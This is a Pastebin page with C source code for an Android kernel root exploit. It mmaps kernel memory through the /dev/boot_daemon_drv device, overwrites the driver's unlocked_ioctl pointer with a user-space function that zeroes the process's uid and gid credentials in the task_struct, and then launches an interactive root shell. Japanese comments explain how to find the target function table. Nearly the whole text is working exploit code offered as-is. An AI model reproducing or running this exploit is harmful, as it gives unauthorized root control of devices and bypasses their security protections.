Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdint.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <sys/mman.h>
- #include <sys/ioctl.h>
- #include "kexec.h"
- typedef struct mapinfo mapinfo;
- struct mapinfo {
- mapinfo *next;
- unsigned start;
- unsigned end;
- char perm[8];
- char name[1024];
- };
- // 6f000000-6f01e000 rwxp 00000000 00:0c 16389419 /android/lib/libcomposer.so
- // 012345678901234567890123456789012345678901234567890123456789
- // 0 1 2 3 4 5
- static int read_mapinfo(FILE *fp, mapinfo* mi)
- {
- char line[1024];
- int len;
- skip:
- if(fgets(line, 1024, fp) == 0) return -1;
- len = strlen(line);
- if(len < 1) return -1;
- line[--len] = 0;
- if(mi == 0) return -1;
- mi->start = strtoul(line, 0, 16);
- mi->end = strtoul(line + 9, 0, 16);
- strncpy(mi->perm, line + 18, 4);
- if(len < 50) {
- goto skip;
- } else {
- strcpy(mi->name, line + 49);
- }
- return 0;
- }
- static mapinfo *search_maps(const char* perm, const char* name)
- {
- char tmp[128];
- FILE *fp;
- mapinfo *mi;
- fp = fopen("/proc/self/maps", "r");
- if(fp == 0) return 0;
- mi = calloc(1, sizeof(mapinfo) + 16);
- while(!read_mapinfo(fp, mi)) {
- if(!strcmp(mi->perm, perm) && !strcmp(mi->name, name)){
- fclose(fp);
- return mi;
- }
- }
- fclose(fp);
- free(mi);
- return 0;
- }
- static const char const pattern_setuid[] = {
- 0xD5,0x70,0xA0,0xE3, // MOV R7, #0xD5
- 0x00,0x00,0x00,0xEF, // SVC 0
- };
- static char* search_pattern(mapinfo *mi, const char* const pattern, int len)
- {
- char* addr = (char*)mi->start;
- for (addr = (char*)mi->start; addr < (char*)mi->end; addr++){
- if(addr[0] != pattern[0]) continue;
- if (memcmp(addr, pattern, len) == 0) {
- return addr;
- }
- }
- return 0;
- }
- void memdump(char* addr, int num)
- {
- int i, j;
- int n = (num + 15) / 16;
- for (j=0; j<n; j++){
- printf("%08x : ", addr);
- for(i=0; i<16; i++){
- printf("%02x ", *addr++);
- }
- addr -= 16;
- for(i=0; i<16; i++){
- if (*addr>=0x20 && *addr<0x80) {
- printf("%c", *addr);
- } else {
- printf(".");
- }
- addr++;
- }
- printf("\n");
- }
- }
- static pid_t uid; //set in main function
- static gid_t gid; //set in main function
- unsigned long taskstruct[1024]; //for dump stack after ioctl in usermode
- static inline void *get_stack_top()
- {
- void stack;
- return (void*)(((unsigned int)&stack) & ~0x3fff);
- }
- static inline void *get_current()
- {
- return *(void **)get_stack_top();
- }
- static void update_cred()
- {
- uint32_t i;
- uint32_t *task = get_current(); /* Pointer to the task_struct */
- uint32_t *cred = 0;
- for (i = 0; i < 1024; i++)
- {
- taskstruct[i] = task[i];
- cred = (uint32_t *)task[i];
- if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
- cred++; /* Get ride of the cred's 'usage' field */
- if (cred[0] == uid && cred[1] == gid
- && cred[2] == uid && cred[3] == gid
- && cred[4] == uid && cred[5] == gid
- && cred[6] == uid && cred[7] == gid)
- {
- /* Get root */
- cred[0] = cred[2] = cred[4] = cred[6] = 0;
- cred[1] = cred[3] = cred[5] = cred[7] = 0;
- break;
- }
- }
- }
- }
- long getroot_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
- {
- #if 0
- char* addr = (char*)arg;
- addr[0] = 0;
- #else
- update_cred();
- #endif
- return 0;
- }
- // goroh_kun wrote:
- //
- // (1)ダンプしたテキスト内で以下の文字列を探します
- //
- // deadline
- //
- // ※その0x70ぐらい上にnoopが見える箇所です。
- //
- // (2)その0x400ぐらい下に以下のバイトパターンが存在する
- // 24 01 00 00 xx xx xx c0 00 00 00 00 xx xx xx c0 00 00 00 00
- // 24 01 00 00 xx xx xx c0 00 00 00 00 xx xx xx c0 00 00 00 00
- // 24 01 00 00 xx xx xx c0 00 00 00 00 00 00 00 00 00 00 00 00
- //
- // (3)その次の xx xx xx c0がshboot_daemon_readのアドレスです。
- // (4)(3)の次のxx xx xx c0がshboot_daemon_writeのアドレスです。
- // (5)次しばらく0が続いて、次のxx xx xx c0がshboot_daemon_mmap,shboot_daemon_open
- // (6)shboot_daemon_mmapの一個前の00 00 00 00がcompat_ioctl,その一個前の00 00 00 00が
- // unlocked_ioctl関数のポインタになります。
- //
- // このunlocked_ioctlのデータにパッチを当てるのが良いと思います。
- // 既に/dev/boot_daemon_drvはopen済みですし。
- //
- // オススメは、shbootgetrootプログラム内にroot取得関数をおいておき、
- // その関数のアドレスを書いてしまうのが良いと思います。
- //
- // そうすれば、/dev/boot_daemon_drvのfdに対してioctlした段階で、root取得関数が
- // 呼ばれるようになります。
- //
- unsigned long patch_mem(unsigned int* mem, unsigned long length)
- {
- char* addr = (char*)mem;
- while(addr < (char*)mem + length - 136) {
- if (
- /*
- addr[ 0] == 0x24 && addr[ 1] == 0x01 && addr[ 2] == 0x00 && addr[ 3] == 0x00 &&
- addr[ 7] == 0xc0 &&
- addr[ 8] == 0x00 && addr[ 9] == 0x00 && addr[ 10] == 0x00 && addr[ 11] == 0x00 &&
- addr[ 15] == 0xc0 &&
- addr[ 16] == 0x00 && addr[ 17] == 0x00 && addr[ 18] == 0x00 && addr[ 19] == 0x00 &&
- addr[ 20] == 0x24 && addr[ 21] == 0x01 && addr[ 22] == 0x00 && addr[ 23] == 0x00 &&
- addr[ 27] == 0xc0 &&
- addr[ 28] == 0x00 && addr[ 29] == 0x00 && addr[ 30] == 0x00 && addr[ 31] == 0x00 &&
- addr[ 35] == 0xc0 &&
- addr[ 36] == 0x00 && addr[ 37] == 0x00 && addr[ 38] == 0x00 && addr[ 39] == 0x00 &&
- addr[ 20] == 0x24 && addr[ 21] == 0x01 && addr[ 22] == 0x00 && addr[ 23] == 0x00 &&
- addr[ 27] == 0xc0 &&
- addr[ 28] == 0x00 && addr[ 29] == 0x00 && addr[ 30] == 0x00 && addr[ 31] == 0x00 &&
- */
- addr[ 32] == 0x00 && addr[ 33] == 0x00 && addr[ 34] == 0x00 && addr[ 35] == 0x00 && //(owner)
- addr[ 36] == 0x00 && addr[ 37] == 0x00 && addr[ 38] == 0x00 && addr[ 39] == 0x00 && //(llseek)
- addr[ 43] == 0xc0 && //shboot_daemon_read
- addr[ 47] == 0xc0 && //shboot_daemon_write (-0xc8)
- addr[ 48] == 0x00 && addr[ 49] == 0x00 && addr[ 50] == 0x00 && addr[ 51] == 0x00 && //(aio_read)
- addr[ 52] == 0x00 && addr[ 53] == 0x00 && addr[ 54] == 0x00 && addr[ 55] == 0x00 && //(aio_write)
- addr[ 56] == 0x00 && addr[ 57] == 0x00 && addr[ 58] == 0x00 && addr[ 59] == 0x00 && //(readdir)
- addr[ 60] == 0x00 && addr[ 61] == 0x00 && addr[ 62] == 0x00 && addr[ 63] == 0x00 && //(poll)
- addr[ 64] == 0x00 && addr[ 65] == 0x00 && addr[ 66] == 0x00 && addr[ 67] == 0x00 && //(ioctl)
- addr[ 68] == 0x00 && addr[ 69] == 0x00 && addr[ 70] == 0x00 && addr[ 71] == 0x00 && //(unlocked_ioctl)
- addr[ 72] == 0x00 && addr[ 73] == 0x00 && addr[ 74] == 0x00 && addr[ 75] == 0x00 && //(compat_ioctl)
- addr[ 79] == 0xc0 && //shboot_daemon_mmap (-0x120)
- addr[ 83] == 0xc0 && //shboot_daemon_open (-0x164)
- addr[ 84] == 0x00 && addr[ 85] == 0x00 && addr[ 86] == 0x00 && addr[ 87] == 0x00 && //(flush)
- addr[ 91] == 0xc0 && //shboot_daemon_release (-0x140)
- addr[ 92] == 0x00 && addr[ 93] == 0x00 && addr[ 94] == 0x00 && addr[ 95] == 0x00 && //(fsync)
- addr[ 96] == 0x00 && addr[ 97] == 0x00 && addr[ 98] == 0x00 && addr[ 99] == 0x00 && //(aio_fsync)
- addr[100] == 0x00 && addr[101] == 0x00 && addr[102] == 0x00 && addr[103] == 0x00 && //(fasync)
- addr[104] == 0x00 && addr[105] == 0x00 && addr[106] == 0x00 && addr[107] == 0x00 && //(lock)
- addr[108] == 0x00 && addr[109] == 0x00 && addr[110] == 0x00 && addr[111] == 0x00 && //(sendpage)
- addr[112] == 0x00 && addr[113] == 0x00 && addr[114] == 0x00 && addr[115] == 0x00 && //(get_unmapped_area)
- addr[116] == 0x00 && addr[117] == 0x00 && addr[118] == 0x00 && addr[119] == 0x00 && //(check_flags)
- addr[120] == 0x00 && addr[121] == 0x00 && addr[122] == 0x00 && addr[123] == 0x00 && //(flock)
- addr[124] == 0x00 && addr[125] == 0x00 && addr[126] == 0x00 && addr[127] == 0x00 && //(splice_write)
- addr[128] == 0x00 && addr[129] == 0x00 && addr[130] == 0x00 && addr[131] == 0x00 && //(splice_read)
- addr[132] == 0x00 && addr[133] == 0x00 && addr[134] == 0x00 && addr[135] == 0x00 //(setlease)
- ) {
- printf("addr=%08x\n", addr);
- fflush(stdout);
- unsigned long *p_read = (unsigned long*)(addr[40] + (addr[41]<<8) + (addr[42]<<16) + (addr[43]<<24));
- unsigned long *p_write = (unsigned long*)(addr[44] + (addr[45]<<8) + (addr[46]<<16) + (addr[47]<<24));
- unsigned long *p_mmap = (unsigned long*)(addr[76] + (addr[77]<<8) + (addr[78]<<16) + (addr[79]<<24));
- unsigned long *p_open = (unsigned long*)(addr[80] + (addr[81]<<8) + (addr[82]<<16) + (addr[83]<<24));
- unsigned long *p_release = (unsigned long*)(addr[88] + (addr[89]<<8) + (addr[90]<<16) + (addr[91]<<24));
- printf("read=%08x\n", p_read);
- printf("write=%08x (%08x)\n", p_write, p_read - p_write);
- printf("mmap=%08x (%08x)\n", p_mmap, p_read - p_mmap);
- printf("open=%08x (%08x)\n", p_open, p_read - p_open);
- printf("release=%08x (%08x)\n", p_release, p_read - p_release);
- fflush(stdout);
- //#define GETROOT_NEED_CHECK_ADDRESS_OFFSET
- #ifdef GETROOT_NEED_CHECK_ADDRESS_OFFSET
- if (p_read - p_write == 0xc8 && p_read - p_mmap == 0x120 &&
- p_read - p_open == 0x164 && p_release - p_open == 0x140) {
- #endif
- printf("found at %08x\n", (addr));
- fflush(stdout);
- memdump((char*)(addr+32), 0x68);
- fflush(stdout);
- addr[68] = (unsigned long)&getroot_ioctl & 0xff;
- addr[69] = ((unsigned long)&getroot_ioctl>>8) & 0xff;
- addr[70] = ((unsigned long)&getroot_ioctl>>16) & 0xff;
- addr[71] = ((unsigned long)&getroot_ioctl>>24) & 0xff;
- return (unsigned long)(addr + 68);
- #ifdef GETROOT_NEED_CHECK_ADDRESS_OFFSET
- }
- #endif
- printf("\n");
- }
- addr += 4;
- }
- return -1;
- }
- int callback(void *data, int nr, char *str, unsigned long targetbase, unsigned long targetlength)
- {
- unsigned long addr;
- int fd = open("/dev/boot_daemon_drv", O_RDWR);
- printf("mmap base=%08x length=%08x\n", targetbase, targetlength);
- if(fd < 0){
- printf("open failed \"%s\"(%d)\n", strerror(errno), errno);
- return 0;
- }
- addr = 0x10000000;
- unsigned int *mem = (unsigned int*)mmap(
- (void*)addr, targetlength, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, fd, targetbase);
- if(mem == MAP_FAILED)
- {
- printf("mmap error %08X \"%s\"(%d)\n", targetbase, strerror(errno), errno);
- } else {
- char buf[0x4000];
- int fdmap = open("/proc/self/maps", O_RDONLY);
- int ret = read(fdmap, buf, sizeof(buf));
- write(0, buf, ret);
- fflush(stdout);
- close(fdmap);
- printf("mem=%08x\n", mem);
- fflush(stdout);
- unsigned long patch = patch_mem(mem, targetlength);
- if (patch != -1) {
- if (munmap(mem, targetlength)) {
- printf("munmap error \"%s\"(%d)\n", strerror(errno), errno);
- } else {
- printf("munmaped\n");
- }
- fflush(stdout);
- usleep(100000);
- #if 0
- char* setuidaddr = 0;
- mapinfo *mi;
- mi = search_maps("r-xp", "/system/lib/libc.so");
- if(mi) {
- printf("found maps libc.so\n");
- fflush(stdout);
- setuidaddr = search_pattern(mi, pattern_setuid, sizeof(pattern_setuid));
- if(setuidaddr != 0) {
- printf("addr=%08x\n", setuidaddr-4);
- memdump((void*)(setuidaddr-4), 0x20);
- fflush(stdout);
- int i;
- for (i=0; i<0x20; i++) {
- if (ioctl(fd, 0, setuidaddr-4+i)) {
- printf("ioctl error \"%s\"(%d)\n", strerror(errno), errno);
- }
- }
- printf("\n");
- memdump((void*)(setuidaddr-4), 0x20);
- fflush(stdout);
- }
- free(mi);
- }
- #else
- ioctl(fd, 0, 0);
- #endif
- usleep(100000);
- *mem = (unsigned int*)mmap(
- (void*)addr, targetlength, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, fd, targetbase);
- if(mem == MAP_FAILED) {
- printf("re-mmap error %08X \"%s\"(%d)\n", targetbase, strerror(errno), errno);
- } else {
- printf("remmaped\n");
- char* a = (char*) patch;
- memdump((char*)(a-36), 0x68);
- printf("\n");
- a[0] =0;
- a[1] =0;
- a[2] =0;
- a[3] =0;
- printf("re-patched\n");
- memdump((char*)(a-36), 0x68);
- printf("\n");
- }
- execl("/bin/sh", "/bin/sh", "-i", NULL);
- close(fd);
- return 0;
- }
- if (munmap(mem, targetlength)) {
- printf("munmap error \"%s\"(%d)\n", strerror(errno), errno);
- }
- if (close(fd)) {
- printf("close error \"%s\"(%d)\n", strerror(errno), errno);
- }
- return -1;
- }
- close(fd);
- return 0;
- }
- int main(int argc, char** argv)
- {
- uid = getuid();
- gid = getgid();
- setresuid(uid, uid, uid);
- setresgid(gid, gid, gid);
- kexec_iomem_for_each_line("Kernel data", callback, 0);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement